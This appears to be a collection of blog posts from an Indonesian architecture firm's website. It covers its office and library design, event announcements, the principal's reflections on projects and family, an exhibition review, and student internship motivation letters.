The term 99 % is a process of almost finished which every work is always faced where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients are about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process. The process of living inside the cluster is always evolving, in this open house, but the process will be opened and shared, for critics and restless spirits just for evaluating the process and product.
invitation card will be given after RSVP because the space is limited. Thank you, see you all
99% The Guild : Open House
We Glady invited you to come to 99 PercentThe Guild : Open house, new home of RAW, Omah Library, and Residence of realrich and family .
There will be a lecture by Anas Hidayat titled 1 percent yang dinanti, about the death of the architect after the work is born and sharing of the craftsmanship process with the team involved to attract discussion and further response. We need you to RSVP because space is limited, there will be food for people who are fasting at 6 pm after the lecture.
The term 99 % is a process of almost finished which every work is always faced where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients are about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process. The process of living inside the cluster is always evolving, in this open house, but the process will be opened and shared, for critics and restless spirits just for evaluating the process and product.
invitation card will be given after RSVP because the space is limited. Thank you, see you all
Situated in the increasingly crowded gated community at West Jakarta, Indonesia, the 110 sqm design architecture office “RAW architecture” occupies a 150 sqm in 375 sqm plot of land and built at the periphery and inside main house’s garage. Reflected by its name, RAW architecture office, the finishes is bare and using natural material. Size-wise it is extremely efficient, and relatively small, but its dotted exposed plywood facade combined with exposed concrete, black painted wall gives it a distinctive look yet privacy from outside the gated neighbourhood.
Plan scenario 1
Plan scenario 2
Mezzanine plan
The office is divided by 2 main structure located at the garden and the garage of the existing house. The first structure is meeting space which made by plywood structure located at outdoor The office has one meeting room dedicated for OMAH library, which is made by plywood which housed all of the architecture books, OMAH is community based library and sometimes is used for hosting architecture talks and discussion. OMAH is made by plywood forming an arch as its geometry, This 2.4 m x 8.0 m wide span arch pavillion is made entirely from prefabricated plywood. The office was built by local craftsmen. The design was prefabricated in the workshop by creating 120 (200 mm x 400 mm x 600 mm ) boxes, and 120 leaning 3 equal trapezoid boxes for arch modulethe detail is exercised on spot by the plywood by bolt ,ring, and hand in time of 1.5 week construction.
The fabricated system is designed to be built within 2 weeks accommodating efficiency, affordability, movability as temporary structure without using many people and can be built by hand with minimum tools. You can see omah’s program in here http://www.omahlibrary.com
Section
the second structure is working space located at the garage of the main existing house. The office space is designed based on efficiency to create intimate feeling for designers working on intense architecture projects. The working space has no receiving area, no permanent wall. A simple foyer and a big openingwith generous footwear storage- guests are to take off and store theirs there before entering-precede the lounging area. After the entrance, the separation between technical and designer also takes some importance its final layout is the result of few adjustments based on the designer and technical’s domestic habits. The only enclosed space in the first story is administration room study, which doubles as a office storage. The second story mezanine area is more private spaces to store vast material library, and some drinks for chill out time.
RAW has been arranging summer architecture fellowship program which invites 50 people per year in South East Asia to be trainee, learning skill of programming, designing space, and more is to understand the local craftsmanship available developed in the office. http://raw.co.id/summerarchitectureworkshop/
The office shows example of small home office in Jakarta tries to explore design in its space situated in very limited space in Jakarta.
RAW is like a roseto that believe on the workshop between the craftsmen and designer for having the best solution in the design, I want to create roseto that is intimate, fun and breaking the boundary to create innovation as much as we can.”
Realrich Sjarief.
Architects : RAW architecture
Location : Jakarta, Special Capital Region of Jakarta, Indonesia
Architect in Charge : Realrich Sjarief
Area : 150.0 sqm
Project Year : 2015
Photographs : Mario Wibowo , Courtesy of RAW architecture
Manufacturers : Asahi, Bloom, Borobudur, Dekson, Dulux, Jayaboard, Mortar Utama, Toto
From the outside, the design exercised introvert expression, blocked by layers of solid wall, humble with existing with tropical canopy as expression. The curve, circular expression is blocked by the wall and strange library as periphery.The transparency and more complex form emerge when we enter the building passing the public through more private space.
The building consists of planned intimate floor to ceiling, and high ceiling when its necessary for possible arrangement of the space to be public space which happens in principal and living room. The sequence and view broken down by intimate vista, curve, and solid void interplay framing the skylight.
The Ground floor is the arrival when the residence and studio people coming in one entrance. Meanwhile public who want to come to strange library is separated at the periphery of the cluster and ended in the landscape amphitheater, the heart of the complex. The sequence is interplay with axial vista, private – public, and functionality of the space.
99% Sumarah adalah refleksi dari dua buah jalan dalam bepikir mengenai definisi sebuah kekuatan sebagai seorang manusia. Pemikiran pertama mendefiniskan kekuatan sebagai sebuah kesempatan untuk menang, bagaimana untuk mendapatkan kekuasaan, dan untuk menjaga kekuasaan. Instalasi ini bertujuan untuk memberikan pemikiran interpretasi, tanpa pernah memberitahukan secara ekplisit, pengunjung harus mengunakan ide ide mereka dan pengalamannya untuk mendefinisikan hal tersebut. Hal itu lah yang membuat pemikiran kedua, yaitu Sumarah menjadi nyata. Sumarah adalah pengajaran spiritual dari jawa. Sumarah adalah seni untuk berpasrah diri, dimana menyerahkan dirimu kepada semesta. Sumarah adalah penyerahan tanpa berharap apapun, dimana rasionalitas menjadi lebur dan tidak meminta apa – apa, menerima keadaan apa adanya. Inilah sebuah kondisi yang paling alamiah.
Sumarah adalah instalasi yang sederhana yang terdiri dari 300 buah kotak berukuran 300 x 300 x 600 mm yang ditumpuk – tumpuk menjadi ruang yang sederhana namun terlihat rumit. Proses pengerjaannya sederhana memakan waktu kurang dari satu hari. Struktur tumpuk adalah sebuah cara yang primitif untuk membuat ruangan, dengan menggabungkan kurva parabolic dan kurva catenary, bangunan ini bisa menahan bebannya sendiri dengan sambungan sesedikit mungkin tanpa pondasi. Sumarah terdiri dari dua buah pintu keluar masuk yang membentuk siluet kurva catenary dimana ketika pengunjung masuk, akan dipertontonkan kehidupan alam, ikan dan tanaman sebagai simbol kehidupan. Dari tampak luar, instalasi ini akan terlihat kompleks membentuk bentuk bukit yang ditumpuk dari material nano technology. Namun dari dalam, memberikan kompleksitas, kehidupan itu sendiri tidak ada yang pernah sama, mendekati kondisi alam yang kompleks dan subtil itulah konsep mendasar dari ruang yang terbentuk. Tanaman – tanaman akan ditanam di udara segar, dan ikan – ikan akan dilepaskan di perairan yang segar sebagai refleksi dari kehidupan yang begitu indah.
Last few days, I came to ARA exhibition intimacy. A strange feeling, that I got when I entered their new office which was at that time became the gallery space. Erel, Goya, Iwan asked me to come and share about architectural pedagogy in ARA’s Intimacy exhibition. The question raised in my mind , do we need pedagogy, yes off course we need it, but how to create the good practice to transfer the knowledge between the people to the other people, old to young, practician to academic, academic to practician.
Then, this story began,..
Defry Ardianta as moderator of the discussion
The story started from the breed of two type of pedagogy, one is empiricist, about learning what is already there, the joint,detail, the approach which was proven and second is rationalist view, creating something new which the solution is fresh, and new. I thought probably we are all finding a roots for being romantic, empiricist while trying creating ratio for our contemporary practice as in our world, both of the them are paradox when it came to reality. It is normal to be equilibrium, paradox is in the need, knowing true and false is needed to get self criticism, without self criticism there is no heart of pedagogy. This is the first point. To be able to get self critics, we need to be open ,and honest. ARA wanted to be honest by opening their studio, sharing their story, and this intimacy, which means getting close to, is one of their agenda, getting close to creating honest story, honest relationship, honest space of culture sharing and learning. Even there are some notebook consists of communication between principals, contractor to see, to show a high grade of transparency even though the message is not clearly noted, why do we need to see the notebook, is there any something important behind it, what the message is can not easily understood by visitors.
I walked to the entrance,and seeing the note by Ayos Purwoadji, seeing the agenda, setting the frame to be judged. The exhibition started by a series of projects which was broken, dismantled into several smaller block, people can play the massing to create new composition, then they had research about some of the circulations of the building which is abstract. There was initiative to gather elementary kids to play with their massing to show that architecture is fun. The approach of the exhibition is quite unique, there are interaction between the object becoming the act of playing in the very creative side of the design iteration.
When we started to mold our ground creating the similar understanding, about problem, then discussion happens. The collaborative design, was essentially designed for working in more complex project, the more we have to open to other party, the more we have to collaborate especially to structure, mechanical, quantity surveyor, project management, builders, and at the end the collaborate with peers, assistant as a part of body of the firm. The collaboration is the take and give relationship, the act of speaking and the act of listening. There is paradox to create equilibrium, this exhibition is about creating equilibrium of getting close to by creating the same domain to discuss architecture.
As a part of the graduation, transfer knowledge, there will be camariderie among the collegues, which are normal. leaving good memories of practicing architecture. In the ARA Intimacy Exhibtiion at the end of the room, there are relics, property, things that is colouring designer desk, life, creating memory while they worked in the studio. My question expanded about how is the life of their past staffs, designers, what is the relationship between the principals and each of the staff who has resigned. What is their view about architectural pedagogy.
Then, the question then raised that is it an important exhibition ? then, what it the quality of this exhibition. No doubt, that this exhibition is a milestone in Surabaya for creating good community initiatives which is needed for appreciating architecture, but as a content, it is only touching the surfaces of studio culture, which is like appreciating beauty by enjoyment of creativity, that we, architect still have our own space, the house of the architect, home of creativity, there are no product of architecture showed in the exhibition, there are no plan, no elevation, no section, no information except concept models and relics.
There were more stark, banal problem or I can say basic problem of our profession which is uncovered such as knowledge development the transfer of knowledge between principals and the designers, the standard of the working drawing, the logic and fallacy of the ARA’s design approach or even some data, statistic about type of contract, way of legal administration, number of working hours, how big the salary for junior architect and architect or even the quantity of project which was not built compared to the project which was built.
Probably it’s a too much request for this exhibition and expectation for ARA and i’m so sorry because i’m getting excited for the fruition of this exhibition, nevertheless It’s was a great starting point, hopefully there will be sequel starting with transparency to uncovered at least basic problem. There are always the alpha or beginning of each process, and this is a brilliant start or I can assume promising start of the good pedagogy starting at the heart of pedagogy, an attitude to be honest with intimacy. Reflecting on ARA’s intimate exhibition, we can be optimistic that in few years, hopefully there will be hearted community and the appreciation to architecture is a way more higher than before.
Sebagai sebuah disiplin, dalam beberapa dasawarsa terakhir, arsitektur menghadapi perkembangan yang pesat. Mulai dari inovasi teknologi, kebutuhan global, hingga paradigma baru yang mempengaruhi masa depan praktik arsitektur. Bagaimana perguruan tinggi menjawab segala tantangan ini? Adakah alternatif yang dapat menjembatani kebutuhan dunia kerja dengan lulusan arsitektur? Dapatkah biro perancangan menjalankan praksis pendidikan di luar sekolah? Perspektif akan datang dari tiga orang pembicara:
Realrich Sjarief (RAW), Stephanus Evert Indrawan, S.T., M.A. (Universitas Ciputra), dan Eunike Kristi Julistiono, S.T., M.Des.SC. (UK Petra).
Dipandu oleh moderator
Defry Agatha Ardianta, S.T., M.T. (ITS).
Mondrich, my little brother is getting married with Jessica, I hope the best for them.
I heard this song written by Putut Pudyantoro in their wedding titled Kasih (love) the song is beautiful and as a reflection that our life is filled with love.
“Andaikan aku fasih berbicara,
Namun tak punya cinta kasih,
Ku bagai gong yang bergaung.
Andai imanku mampu pindahkan gunung,
Namun tak punya cinta kasih,
Ku tiada berguna.
Kasih itu sabar, murah hati,
Percaya, tak angkuh dan tak dengki.
Kasih itu tak memegahkan diri,
Kasih itu kekal serta abadi.
Andaikan aku mendermakan hartaku,
Namun tak punya cinta kasih,
Tiada berartilah aku.
Kasih itu sabar, murah hati,
Percaya, tak angkuh dan tak dengki.
Kasih itu tak memegahkan diri,
Kasih itu kekal serta abadi.”
Rio has married with Mega now, I do hope the best for them as well. :)
I walked quietly in the courtyard of the guild. It was a rainy day, my mind was thinking hard, deciding things was not easy. My body was uncompromised with my thinking at that time because I was really tired, confused, and not thinking clear the situation around me made this mind wondering about what do I want for people, what is the priority about work, life and love. This situation is happening in one project in one sports complex in Jakarta. There are 5 conditions happening that made me leave the project after we finished the design.
So there was a story when I was in the meeting with several architects and operator of the complex, which means discussing the project with deep thoughts and transparency because it is a public project. I asked the professionalism of being an architect to the parties because the first, of course that we need brief, and we need the standard operation of procedure of the sports complex. There is not any of that kind of thing, the brief was poorly prepared by verbal and the design was in the need to finish in several days, it’s like doing sprint, and I was ready with my team to answer the brief. I thought that it was normal for doing something like there is no schedule and there is no initial budget in a public project, the project was started in the beginning of March as far I can recall my memory. Each week became very disorganised, there was no proper brief, the discussion about the budget was not with chemistry. The intent of the project was very heroic in a way that there is no initial budget, and there is no schedule, that is the first and that is the second, and I still think, it is okay, I did it because of the dedication for this architect profession. That is the first and the second.
I was thinking and asking about the responsibility becoming the architect, that in the public project, the selection need to be fair, and judged by the jury, or at least I hope being selected meaning by capability not by because I know some people in the league. I hope that there was a letter, or public announcement, because by having that, people can start an open judgement, I still think it is okay, I did it because the dedication for this profession. That is the third. Then, The project was exercised in two and half months already and using our resources, I was exhausted and my team was exhausted, we didn’t have the resource anymore to work on that project which has cost us 100 million in pay bill and thousands of working time in the team. The three conditions still happened, no budget, no fixed schedule, no public announcement. I was thinking how can I pay the bill, so I need to find projects, calling for friends who can give us work. They were glad to support us, and we can run our projects.
Then, I was called in one afternoon that tomorrow we have to attend a meeting, and there is only very short day to review the documents, the budget prepared by others. The drawing needs to be prepared consists of structure, mechanical, and architecture in the level of working drawing with no budget, and we need to review and prepare. At the end, I as the architect need to sign to that documents. There is small response among the team member of architects, it’s been said that we don’t complain, we just do the work, and everything needs to be done. I was thinking if we were given only 1 – 2 days to review the document, and the situation always happening like this, is it the right way to do the job ? Can I be responsible for this document ? Have we completely checked it ? or Am I in the middle of the politic’s ripple ?
I remember one discussion with David, he said “You need to drop that project Realrich”, my friend, David talked to me in one evening in WhatsApp. “There is no need to sacrifice for you office and your family, this is not your battle, this is the battle of more senior architect who has established, but you are such elves kind like what Ary said” he mocked me. I also remember watching a video prepared by Anis in Omah in Glenn Murcutt’s interview at the end of the interview,
he said: “If you feel it’s not right, and don’t do it.” That is the fourth, there is a huge risk for sacrificing family and my dear firm looking at previous sports complex which came to hand of government corruption watch.
The fifth is about chemistry, there are well said words that we can be the success because of people around us. If there is no budget, no schedule, no honour, huge risk, and it still can be ok, if there is good chemistry, being backed up by good people, good clients, and full of positive energy, far from the blame game.
I discussed with the associates, and they told me that they weren’t happy we were experiencing this project, I tried to explain that It was my first time handling this kinda project, and I was so sorry for experiencing this, and trying to have a better condition in the office. I was so deeply sorry and was so sad because I didn’t like to disappoint them. I thought they need time, and I need time to recover. I talked to the designers, and seems they were okay with it, even though I knew that they were disappointed as well. It’s never been easy. After that, I told Septrio one of my left wing, my intention, he said something that made realise the priority. “Big brother, there are many people here to be taken care other than working on that project”
So finally my walk in the guild was over, In the name of my professionalism, I have done my best and finished the design, and I quit that project because the priority, Laurensia, Miracle, and my dear office, the advisors, the associates, designers, the supervisors, the builders, the librarians I love them, and I care about them. at that time it was 2 am in the middle of the night, Laurensia woke up, and I told her that I dropped the project, she said: “I am happy.” I felt blessed to be surrounded by them, As what the priority was experienced, the true value of professionalism experienced, what can I expect more ! I have learnt so much in this process. God Bless you all.
This is the song for boy and daugher who is innocent and creating lullaby of beautiful life.
There was a story …
Once upon a time a daughter complained to her father that her life was miserable and that she didn’t know how she was going to make it. She was tired of fighting and struggling all the time. It seemed just as one problem was solved, another one soon followed. Her father, a chef, took her to the kitchen. He filled three pots with water and placed each on a high fire.
Once the three pots began to boil, he placed potatoes in one pot, eggs in the second pot and ground coffee beans in the third pot. He then let them sit and boil, without saying a word to his daughter. The daughter, moaned and impatiently waited, wondering what he was doing. After twenty minutes he turned off the burners. He took the potatoes out of the pot and placed them in a bowl. He pulled the eggs out and placed them in a bowl. He then ladled the coffee out and placed it in a cup.
Turning to her, he asked. “Daughter, what do you see?” “Potatoes, eggs and coffee,” she hastily replied.
“Look closer”, he said, “and touch the potatoes.” She did and noted that they were soft.
He then asked her to take an egg and break it. After pulling off the shell, she observed the hard-boiled egg.
Finally, he asked her to sip the coffee. Its rich aroma brought a smile to her face.
“Father, what does this mean?” she asked.
He then explained that the potatoes, the eggs and coffee beans had each faced the same adversity-the boiling water.
However, each one reacted differently. The potato went in strong, hard and unrelenting, but in boiling water, it became soft and weak.
The egg was fragile, with the thin outer shell protecting its liquid interior until it was put in the boiling water. Then the inside of the egg became hard.
However, the ground coffee beans were unique. After they were exposed to the boiling water, they changed the water and created something new.
“Which one are you?” he asked his daughter. “When adversity knocks on your door, how do you respond? Are you a potato, an egg, or a coffee bean?”
In life, things happen around us, things happen to us, but the only thing that truly matters is how you choose to react to it and what you make out of it. Life is all about leaning, adopting and converting all the struggles that we experience into something positive.
Situated in the increasingly crowded gated community at West Jakarta, Indonesia, the 110 sqm design architecture office “RAW architecture” occupies a 150 sqm in 375 sqm plot of land and built at the periphery and inside main house’s garage. Reflected by its name, RAW architecture office, the finishes is bare and using natural material. Size-wise it is extremely efficient, and relatively small, but its dotted exposed plywood facade combined with exposed concrete, black painted wall gives it a distinctive look yet privacy from outside the gated neighbourhood.
The office is divided by 2 main structure located at the garden and the garage of the existing house. The first structure is meeting space which made by plywood structure located at outdoor The office has one meeting room dedicated for OMAH library, which is made by plywood which housed all of the architecture books, OMAH is community based library and sometimes is used for hosting architecture talks and discussion. OMAH is made by plywood forming an arch as its geometry, This 2.4 m x 8.0 m wide span arch pavillion is made entirely from prefabricated plywood. The office was built by local craftsmen. The design was prefabricated in the workshop by creating 120 (200 mm x 400 mm x 600 mm ) boxes, and 120 leaning 3 equal trapezoid boxes for arch modulethe detail is exercised on spot by the plywood by bolt ,ring, and hand in time of 1.5 week construction.
The fabricated system is designed to be built within 2 weeks accommodating efficiency, affordability, movability as temporary structure without using many people and can be built by hand with minimum tools. You can see omah’s program in here http://www.omahlibrary.com
the second structure is working space located at the garage of the main existing house. The office space is designed based on efficiency to create intimate feeling for designers working on intense architecture projects. The working space has no receiving area, no permanent wall. A simple foyer and a big openingwith generous footwear storage- guests are to take off and store theirs there before entering-precede the lounging area. After the entrance, the separation between technical and designer also takes some importance its final layout is the result of few adjustments based on the designer and technical’s domestic habits. The only enclosed space in the first story is administration room study, which doubles as a office storage. The second story mezanine area is more private spaces to store vast material library, and some drinks for chill out time.
RAW has been arranging summer architecture fellowship program which invites 50 people per year in South East Asia to be trainee, learning skill of programming, designing space, and more is to understand the local craftsmanship available developed in the office. http://raw.co.id/summerarchitectureworkshop/
The office shows example of small home office in Jakarta tries to explore design in its space situated in very limited space in Jakarta.
RAW is like a roseto that believe on the workshop between the craftsmen and designer for having the best solution in the design, I want to create roseto that is intimate, fun and breaking the boundary to create innovation as much as we can.”
Realrich Sjarief.
160501 “After every storm the sun will smile; for every problem there is a solution, and the soul’s indefeasible duty is to be of good cheer. ” William R. Alger
Last few months, we worked on one prestigious project, that made me mulled. It’s a project which consists of several international consultants, builders, and owner. It has high standard of the way building operates. High standard means a condensed manual consists of hundreds pages for architect to read before working on this project and intense interaction among each parties. There is also high level of technical issues because of project’s nature.
The contractor has been asking clarifications until, for us, it’s not necessary to ask every little step to architect because every information is in the construction drawing. at that time I tried to delegate the job to my fellow staffs, partners because of the circumstances that i had to travel to outside Jakarta. The coordination among consultants, builders, and owner went so bad, so the project did not run very well, there were lacking of coordinations, the team had very low chemistry and it seems that project manager was confused about what’s going on. The blaming game began. I felt it’s unnecessary, and thought that we would drop this project to save our position while our position was still safe.
My mind was wondering about path of life, the raindrops, the fear of becoming someone to be blamed, and the risk of being the care taker. I had to slept in the morning and had difficulty to sleep for several days, Miracle cried in the night time, Laurensia said, “miracle can feel, that his father is in trouble, and has many problem in his mind.”. But, I tried to ask myself, for this project which keep bothered my mind, do I want to quit ? do we want to stop ? off course, there will be comfort zone, but come on, the problem just arise, and suddenly you want to stop. Things became very difficult, because of blaming game began, everybody has fear to action, to take lead, if you take the lead,if something goes wrong, you will be blamed. I was in the fear, I tried to ask my fellow friends, nobody there,
then,
I always remember what Laurensia said to me, when i was down, “Honey, if you want to get stronger, you have to face it, I know you can do it. ” ” I know it is very difficult to face it, meaning that you have to take a risk, but isn’t it same that the time that you came to Indonesia , back from London, or Sydney , or the moment you lost your firm, you finally re run it again. ” We have faced this kinda thing.
Then, after that , I decided, and woke up in the morning, 3 am, read the manual, and reviewing the documents, and start calling clients, consultants, and start to clarify the miscommunication and helping other people in the big team which consists of like 7 parties. Several days were spent in the coordination and clarifications, it surprisingly followed with such a welcoming response from consultants, owners, operators, and the tension was dropped, we started to solve problem and acting like dream team. What I learnt from this process, is simple act, helping others while taking risk to be blamed is giving us, at least for me, happiness, and I feel so grateful because of taking this project, and having this great challenge.
The second story, I had to move to our new home. Our house, named The guild. The guild was still on construction, and we had to move before the house is ready, the boxes were everywhere in the house. Laurensia was stressed in several days, and for our miracle, the dust was much everywhere in the guild , and the bedroom was quite dirty. If Laurensia, Miracle, and me need to move, the office which is located in the garage will also need to be moved, because my work nature which is always overtime in the daily week. We had spent several days for packing and moving our stuffs and whole office, the designers, technicals, admin, whole office family helped much in moving all of the thing and made the guild ready as much as they can.
The garage office interior was moved,
The office family is helping the moving
We finally moved at one bright Sunday evening, in an unready condition, imperfect, or ongoing in construction. We felt blessed, suddenly the situation changed, suddenly we were so happy. We just realised that we were in our new home,
how we should grateful for all of the process.
… I love you Laurensia and Miracle, thank you for all of the office family who helped the moving process, welcome to our home, have a great day for all of you, bless you all. :) look at them they are so happy, and miracle so cute, hopefully he can walk in next few months, so he can explore, new world, new imagination in his life.
Open Talk Architecture di Hotel Novotel, Jumat, 13 Mei 2016, pk 16.30-21.30 WIB. OTA menghadirkan pembicara Realrich Sjarief (RAW Architecture) dan Paulus Setyabudi (Stephanus & Paulus Architects). Acara ini gratis, cepat daftarkan dirimu ke nomor kontak yang ada pada poster ini!
My motivation for an internship in RAW architecture because of unanswered questions. One day in January 2015, I came to RAW architecture with team ARCAKA architectural magazine to interview Mr. Realrich Sjarief and discuss architecture as well as some of his designs. I am very excited with his explanation,
Mr.Real showing one national museum design competition that has a concept of time travel are applied in its design. I was wondering why such an idea could arise ? and how to apply these ideas to the building ? and whether visitors will be aware of the concept design of the building ? many questions that arise when seeing the design. However, due to limited time, I don’t have an opportunity to ask the questions.
Architecture appears to regret why I did not ask earlier. Arriving in Yogyakarta I tried to find out more about RAW Architecture and ask for some seniors about RAW. Heard a few stories about RAW teams who have a high sense of family and friendly, made me want to join in RAW Architecture. Learning is my main goal because the questions unanswered makes me want much to learn and discuss architecture. Architecture forced me to not only learn about the buildings but to learn about humans. Learning so that people can be happy and safe in a building.
My hope is very big to be able to join and learn with friends in RAW architecture. In RAW, I can learn a lot about architecture, because only in a single day many lessons I learned from Mr.Real, all the more if I have a long enough time.RAW has a workspace that is intimate, but very comfortable. Space that makes one person to have an attachment, intimacy, and togetherness. The Interior space is mostly using materials of wood make the room more relaxed, and I really like the mini-library RAW “Omah Architecture Library” simple design visible from the outside when it got into the room, I felt the spirit of a reading room, the naturalness, serenity, and hospitality. I do not imagine beforehand if the reading room of the Omah Architecture Library that I often see in social media, it turned its exterior is very simple. If I am accepted in RAW Architecture, I will give my best on what I do. Continue to learn to be able to give good results. I believe there are no people who are not creative in this world, everyone would have creativity if always want to try something different. Learn to use time well, three to four months is a short time, will not be felt if used to study seriously. Not only receive knowledge, but I also want to share the knowledge I have, maybe not as much as a senior in RAW. This only can I write to describe the motivation and what can I do if I am accepted in RAW.
Hi, my name is Natalia. I am currently in the third year majoring archictecture, 6th semester. I hope someday I can be a professional architect just like what I am dreaming of. Since I was child, I have always wanted to have a different proffesion than that have already been taken by my family members so I choose to be an architect because since I was child I love about art and also science. My parents always told me to not waste my time and they always remind me to always make a step to achieve my dream.
View months ago, the first time when I heard that my university has a new program 3+1, I felt so excited and I remember what my parents told me not to waste my time and make a step and also because since I came to university I really want to have more experiences in working to increase my soft skills and to prove myself that I can do more than others. And in this 6th semester finally I have a chance to work full time in 6 months during my study and I said to my self ‘’OK nat, this is the time, and you should not be wasted!”. When I heard the information I directly told my parents and they support me so well.
I have done some research on the places I want to apply for internship. What I need is a firm that hires undergraduate student to do practical design. I was looking forward to work in consultant’s company that suitable for me, then I found out some architect’s firm and then finally I found RAW, and I became really interested by visit RAW’s website first and do other research to make sure myself. Now I feel so lucky to be accepted in RAW and I’m so grateful. I believe in RAW I can build up my skills, links, and also experiences not only to earn money but to prepare myself in the future to be a professional architect. I hope in RAW I can learn more about how to solve design problems, how to make good design, how to design different type of building, how to make the details, how to work in a team, how to communicate a design, how to design in the right way, how to enjoy design process and so many more things I really want to learn. The other reason why I interested about RAW, because I heard from others RAW’s team is friendly, nice, want to learn from each other, and education oriented. And also RAW is located in West Jakarta that not too far away where I stay.
In this intership I will try and do my best and focus on learning so many things about architecture, I will always keep myself with spirit and curiosity to learn everything and also always believe in myself that I can do the best. I want to say thankyou so much for RAW to give me this best opportunity.
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I feel honoured to be given the opportunity to enroll in RAW internship program. Being able to comprehend vision and work of the firm’s in person has made me become more enthusiastic about projects that I will be given the role to help achieve. I have personal disadvantages that might cause hardship on the firm’s workflow since I consider myself inexperienced in this area of expertise but I am willing to improve my advantages and work on myself to overcome my weaknesses and bring more positive influence.
As an undergraduate architecture student, I wish to have my first real life working experience changing my negative views on architecture because the fact that designers working in architectural company, especially consultant’s company will suffer depreciation in mental and physical health from lack of basic needs as a normal human being such as 8 hours of sleep and appropriate amount of physical activities. Acknowledging how it is far more inevitable than ignored, I sought for a place that can overcome those poor facts with positive offers.
I chose RAW as the first architecture firm that I will have both work and real life architecture design experience because I’ve been familiar with the firm before I major in architecture. I was fascinated, and still am fascinated, by RAW designers’s ideas on firm’s original projects that are available for viewing on website. Although I cannot mention one by one but I am captivated with the details that never seem to be left behind.
Arts have always managed to take the biggest part in my life. I find playing musical instruments and sketching helpful to ease my mind and develop my ability to explore on ideas. The presence of arts in my life has brought me to the state of believing in originality. In my opinion, originality cannot maintain itself without creativity.
Now that I have claimed to be committed to RAW for the next six months, I look forward to not only develop my architectural skills but creativity, teamwork, and time management as well. Furthermore, I’d like my experience here to intensify my interest in architecture so it will no longer be just an interest but significance.
Personally speaking, I have never agreed on how workflow of design is supposed to be and my workflow as an individual always varied for a couple of years in university. The fact that RAW is fast-paced in terms of working gained my interest, since I have always thought design is a series of process that takes time and in some circumstances could take a long time. This concerns and motivates me almost equally, because I will be required to produce presentable work yet I should not miss on being creative. I am quite pleasant with my first real working experience in architectural design is fast-paced as somehow it is considerably more challenging to me.
Being elaborated thoroughly, the firm’s structure is not too complicated. This hopefully makes it easier for me to communicate my architectural ideas and work to long-term designers, simply no labels. I find this as an advantage, because then my work won’t have to wait for so long to be revised and approved. I believe that smaller scope of employees leads to further involvement in actual work and that’s the last of things I look forward to experience in Realrich Architecture Workshop.
The first time I heard about architecture, what crossed my mind was a study about buildings, how they made and built on the land. I looked at models and thought that they were just a miniature about buildings in some exhibition. Yet, as long as I go further into architecture study as my major, I realized that my mind started to change about what I think I am learning right now.
Architecture is a way of creating space, encourage people to enjoy something by function and form. It should be the answers to every problem happening now. It grows by time as feedback from the environment around. I want to get involved in making something new, something that can be useful for people and modify things to be greater than before, space that is enjoyable and beneficial.
I started to know RAW from a workshop that held at OMAH from my university. I looked to the design and works and conclude that it would be great if I do my internship program there as a new experience. By learning design process, I can improve the ability of creating concept as an answer to the environment, and how to apply my ideas into something real. Learning about design methods, building structures, and broaden my knowledge to finally get a better design result.
It is my pleasure for me to write this letter to you. I am so interested to get an opportunity for your internship vacancy at RAW Architecture. I am Shelviana Dharna Saputri and I am a student from Tarumanegara University. As far I am studying in Tarumanegara University, project tasks that have been made during the lecture are houses, office park, rental office, and library which produced using good computer skills in CAD, BIM, and 3D modelling. On the other hand, I have experienced regarding competition with my friends as well, ” Water in Urbanism” and ” Architecture grand festival” by BINUS.
I do love architecture and I want to improve my skills in architecture design and planning under the tutelage of RAW Architecture. I am a person who likes to learn, a hard worker person, and love to work in a team. I think it is going be a great experience for me to join RAW Architecture, not only have a chance to work with other internship, yet with other professional architects as well. Learning the first-hand project is what I am expected the most.
My interest in architecture has begun from my admiration of my elementary school friend’s father, which profession as an architect. Thereafter, as my thirst for architecture knowledge grew, I made a decision to study architecture at Tarumanegara University which hopefully will fill up my empty jar. My motivation in architecture is based on my admiration in architecture which creates beauty that presents as a form which represents the identity of the maker, the architect without despising their responsibility. I think it is the beautiful things of architecture, and I want to be a great architect. What I have got and learnt in architecture is just a small part of it, knowing that the real architecture practice is a multi-disciplinary field which need a comprehensive knowledge and experience. Thus, I have to not easily satisfied, yet, continually evolve again and again because the world of architecture is very promising that needed for spirit and passion to make it happen.
What I want to achieve at RAW Architecture is to know and learn the architect to resolve problems from the very first phase until the design execution where it is impossible to get at the classes. I believe my architecture skill would be better and useful for my next architectural education.
I am very excited to become an intern at RAW Architecture, and hopefully, an excellent learning experience to the develop my skill in architecture, as well as an opportunity to receive a hands-on experience with successful professionals.
Best Regards,
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Hello my name is Dimas Hedito Rahardian I’m from Semarang. I am currently in the third year majoring architecture at Universitas Gadjah Mada, Yogyakarta. I’ve born with blood type A which is people say that I’m a perfectionist, easy going, creative, good listener, light hand, funny and procrastinator. Most of that is true I think. Especially perfectionist. I could waste much of my time to reach the perfection. For example is adding some details to my design. sometimes perfectionist becomes a boomerang to me. It can make the other project can’t be done, because I’m focused on one project.Blood type a also says, I’m a good listener and funny. It’s true. Some people around me says that I can make them from having a bad mood into a good mood. They’re like to share their problems with me. Maybe because of they already know that tell bad stories to me will be turned into a joke in the end, and they forget about the problems. I think it’s one of my hobbies to make people laugh. Tell a cheesy joke to my friends and they’re laugh make me happy inside.
Okay, let’s talk about architecture. First of all, I would like to tell you why I chose architecture major. I chose this major is not because of my childhood dream like most of the people. When I was junior high school, I saw tv’s program about how to make a garden in house backyard. I wondering that I can do that stuff into my house like, there ‘s so many vegetation, mini pool, children playground, etc. Maybe because of my home didn’t have something like that, even have a big backyard to make it. The other is I like photography. Searching a photogenic cafe, restaurant, art gallery, museum that have a good interior and exterior, then took a photo is one of my hobbies. From that I promise to my self, I will be an architect someday. In the way to archive that dream, I need to prepare and learn so many things about architecture. Then I studied at UGM and choose architecture major.
